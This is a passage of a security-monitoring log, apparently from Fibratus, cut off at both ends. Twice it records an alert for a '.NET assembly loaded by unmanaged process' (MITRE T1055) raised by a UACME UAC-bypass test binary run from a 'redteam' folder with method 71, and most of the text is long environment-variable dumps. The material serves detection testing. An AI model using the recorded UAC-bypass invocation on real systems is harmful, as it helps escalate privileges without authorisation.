(x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost\09dbc31dafee4ca41722bf76871e11ac\testhost.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675028 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2151315 +0100 CET + Params: base_address➜ 7ffb99f40000, checksum➜ 0, default_address➜ 7ffb99f40000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost\09dbc31dafee4ca41722bf76871e11ac\testhost.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, rule.name: .NET assembly loaded by unmanaged process, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost\09dbc31dafee4ca41722bf76871e11ac\testhost.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675028 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2151315 +0100 CET + Params: base_address➜ 7ffb99f40000, checksum➜ 0, default_address➜ 7ffb99f40000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost\09dbc31dafee4ca41722bf76871e11ac\testhost.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.id: T1055, technique.name: Process Injection, rule.name: .NET assembly loaded by unmanaged process, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program 